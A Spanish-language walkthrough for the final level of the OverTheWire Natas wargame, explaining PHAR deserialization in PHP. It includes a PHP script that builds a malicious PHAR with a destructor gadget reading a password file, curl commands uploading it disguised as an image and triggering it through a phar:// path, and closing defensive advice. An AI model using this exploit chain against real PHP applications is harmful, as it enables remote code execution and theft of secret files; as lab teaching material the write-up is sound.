Natas Nivel 33 a 34
Nivel oficial: http://natas33.natas.labs.overthewire.org
Este es el ultimo nivel de Natas. Combina una subida de fichero con una comprobacion de integridad basada en MD5 y un backend PHP que instancia objetos a partir del nombre de archivo subido. El vector de ataque es deserializacion PHAR: PHP puede deserializar metadatos de un archivo .phar al abrirlo con cualquier funcion que acepte wrappers de flujo (file_get_contents, md5_file, include, etc.), ejecutando el constructor o destructor del objeto embebido. Logrando RCE, se lee /etc/natas_webpass/natas34.
Laboratorio legal y autorizado. OverTheWire es una plataforma educativa de wargames. Practica estas tecnicas unicamente en entornos con permiso explicito.
Objetivo
Explotar la deserializacion PHAR para ejecutar codigo PHP arbitrario en el servidor y obtener la contrasena de natas34 (<pass_natas34>). Al conseguirlo, el sistema muestra el mensaje de felicitacion: has completado Natas.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
Deserializacion PHAR (phar://) | Ejecutar un objeto PHP serializado embebido en un archivo PHAR al abrirlo con cualquier funcion de ficheros |
Gadget de deserializacion (__destruct) | Codigo PHP que se ejecuta automaticamente al destruir el objeto deserializado |
| Bypass de validacion MD5 con PHAR | La firma o hash del archivo se calcula sobre bytes que el atacante controla; el wrapper phar:// se invoca independientemente del hash |
| Subida de fichero sin validacion de extension real | El servidor acepta cualquier extension pero luego usa el nombre para construir una ruta que pasa por funciones de fichero |
md5_file() con wrapper phar:// | md5_file("phar://archivo.phar") desencadena la deserializacion antes de calcular el hash |
file_put_contents / herramienta php CLI | Construir el archivo PHAR del atacante localmente |
Concepto clave
Deserializacion PHAR (PHAR Deserialization)
Un archivo .phar (PHP Archive) tiene una seccion de metadatos que PHP serializa y almacena en el propio fichero. Cuando cualquier funcion del sistema de ficheros de PHP abre una ruta con el wrapper phar://, PHP deserializa esos metadatos de forma transparente, instanciando los objetos que contienen y ejecutando sus metodos magicos (__wakeup, __destruct, etc.).
El patron de ataque tiene tres partes:
- Gadget: una clase PHP disponible en el servidor cuyo
__destruct(o__wakeup) realiza una accion peligrosa (escribir un fichero, ejecutar un comando, leer un fichero sensible). - PHAR artesanal: un archivo
.pharcuyo stub es valido y cuyos metadatos contienen una instancia serializada del gadget con las propiedades que el atacante controla. - Trigger: conseguir que el servidor llame a cualquier funcion de fichero PHP (
file_get_contents,md5_file,file_exists,copy, …) sobre una ruta que empiece porphar://y apunte al PHAR subido.
La categoria OWASP es A08:2021 - Software and Data Integrity Failures (deserializacion insegura), combinada con A04:2021 - Insecure Design (validacion de integridad insuficiente).
El bypass de MD5 es secundario: la comprobacion de hash que hace el nivel se calcula llamando a md5_file() sobre la ruta del archivo subido. Si esa ruta se puede controlar para que incluya el prefijo phar://, la propia llamada a md5_file actua como trigger de la deserializacion antes de devolver el hash.
Aviso: este nivel es muy avanzado. El gadget concreto que funciona depende de las clases definidas en el codigo del reto. El payload aqui mostrado es orientativo; puede requerir ajuste fino contra el reto en vivo una vez inspeccionado el codigo fuente de
natas33.
Paso a paso
1. Inspecciona el codigo fuente del nivel
Accede con credenciales natas33 / <pass_natas33> y usa “View source” o DevTools para leer el PHP del servidor. Identifica:
- Que clases estan definidas (especialmente las que tienen
__destructo__wakeup). - Como se construye la ruta que pasa a
md5_file()u otra funcion de fichero. - Si el nombre del archivo subido aparece en esa ruta sin sanitizar.
Ejemplo tipico de lo que podrias encontrar (esquematico, no codigo real del reto):
class Executor {
private $filename;
public function __construct($f) { $this->filename = $f; }
public function __destruct() {
// Se ejecuta al destruir el objeto -> trigger del gadget
system("cat " . $this->filename);
}
}
// En el handler de subida:
$hash = md5_file($_FILES['file']['tmp_name']);
// Si tmp_name o el nombre final puede ser phar://..., aqui ocurre la deserializacion2. Construye el archivo PHAR artesanal (en tu maquina local)
Necesitas PHP con la extension phar habilitada y phar.readonly = Off en php.ini.
# Verifica que phar.readonly esta desactivado
php -r "echo ini_get('phar.readonly');"
# Debe devolver 0 o cadena vacia; si devuelve 1:
php -d phar.readonly=0 tu_script.phpCrea build_phar.php con el gadget adaptado a las clases reales del nivel:
<?php
// Ajusta la clase y propiedades segun lo que veas en el codigo de natas33
class Executor {
private $filename = '/etc/natas_webpass/natas34';
public function __destruct() {
// En el reto real la logica del destructor puede ser diferente
echo file_get_contents($this->filename);
}
}
// Construye el PHAR
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('dummy.txt', 'noop');
// Stub minimo valido
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// Embebe el objeto serializado como metadatos
$phar->setMetadata(new Executor());
$phar->stopBuffering();
echo "PHAR creado: payload.phar\n";php -d phar.readonly=0 build_phar.php
# Genera payload.phar en el directorio actual3. Sube el PHAR disfrazado de otro tipo
El servidor puede rechazar la extension .phar. Renombra el archivo a una extension permitida (.jpg, .png, .txt):
cp payload.phar payload.jpgSube payload.jpg usando el formulario del nivel o con curl:
curl -s -u natas33:<pass_natas33> \
-F "file=@payload.jpg;type=image/jpeg" \
-F "submit=Upload" \
"http://natas33.natas.labs.overthewire.org/"Anota la ruta donde el servidor almacena el archivo subido (suele aparecer en la respuesta o es predecible: upload/<nombre>).
4. Dispara la deserializacion via phar://
El trigger depende de como el servidor usa el nombre del archivo. Si el servidor pasa el nombre del fichero a md5_file() o similar y puedes controlar ese nombre (por ejemplo, a traves de otro parametro POST o del propio nombre de subida), construye la peticion con la ruta phar://:
# Hipotetico: el servidor acepta un campo 'filename' que pasa a md5_file()
curl -s -u natas33:<pass_natas33> \
--data "filename=phar://upload/payload.jpg&submit=Check" \
"http://natas33.natas.labs.overthewire.org/"Al ejecutar md5_file("phar://upload/payload.jpg"), PHP:
- Abre el wrapper
phar://. - Deserializa los metadatos → instancia
Executorcon$filename = '/etc/natas_webpass/natas34'. - Al terminar la peticion destruye el objeto → llama a
__destruct()→ lee y muestra la contrasena.
# Filtra la contrasena de la respuesta
curl -s -u natas33:<pass_natas33> \
--data "filename=phar://upload/payload.jpg&submit=Check" \
"http://natas33.natas.labs.overthewire.org/" \
| grep -i "natas34\|password\|webpass"5. Mensaje de felicitacion
Si el ataque tiene exito, el servidor devuelve la contrasena <pass_natas34> y, al ser el ultimo nivel de Natas, muestra un mensaje de felicitacion confirmando que has completado el wargame completo.
Por que funciona
PHP implementa el wrapper phar:// a nivel del VFS interno: cualquier llamada a una funcion del sistema de ficheros que reciba una ruta phar://... desencadena la deserializacion de los metadatos del archivo PHAR, independientemente de la intencion original del codigo. El servidor no espera que md5_file() ejecute codigo, pero el diseno de PHP hace exactamente eso.
La validacion de integridad con MD5 no protege porque el hash se calcula despues (o durante) la apertura del archivo, momento en el que la deserializacion ya se ha producido. El servidor deberia:
- Validar la extension real del archivo (magic bytes, no solo la extension del nombre).
- Nunca pasar input del usuario directamente a funciones de fichero PHP sin sanitizar wrappers.
- Deshabilitar
phar://si no se necesita:stream_wrapper_unregister('phar').
Errores comunes
| Error | Causa probable | Solucion |
|---|---|---|
BadMethodCallException: Cannot create phar | phar.readonly = On en php.ini | Ejecuta el script con php -d phar.readonly=0 build_phar.php |
| El servidor rechaza el archivo subido | Validacion de extension o MIME en el servidor | Cambia la extension a .jpg/.png y ajusta el Content-Type en la subida |
El __destruct no se ejecuta | El gadget usa la clase equivocada o propiedades privadas mal nombradas | Inspecciona el codigo fuente del reto e iguala exactamente la clase y el nombre de las propiedades (la serializacion PHP es sensible a nombres y visibilidad) |
La ruta phar:// no dispara la deserializacion | El servidor no pasa el nombre controlado por el usuario a ninguna funcion de fichero PHP, o sanitiza el prefijo phar:// | Busca otros puntos de entrada: parametros GET/POST, cookies, o el propio campo de nombre de archivo en el upload multipart |
Pasar al siguiente nivel
Al resolver este nivel obtienes la contrasena <pass_natas34>. Este es el nivel final de Natas: no hay nivel 34 al que conectarse. El mensaje de felicitacion del servidor confirma que has completado el wargame. Puedes continuar con otros wargames de OverTheWire (Leviathan, Narnia, Behemoth, Utumno) o profundizar en las tecnicas avanzadas de PHP:
- Investigacion de gadget chains con herramientas como PHPGGC.
- Tecnicas de bypass de
disable_functionspara RCE en entornos mas restringidos. - Analisis de otros vectores de deserializacion: Java, Python (
pickle), Ruby (Marshal).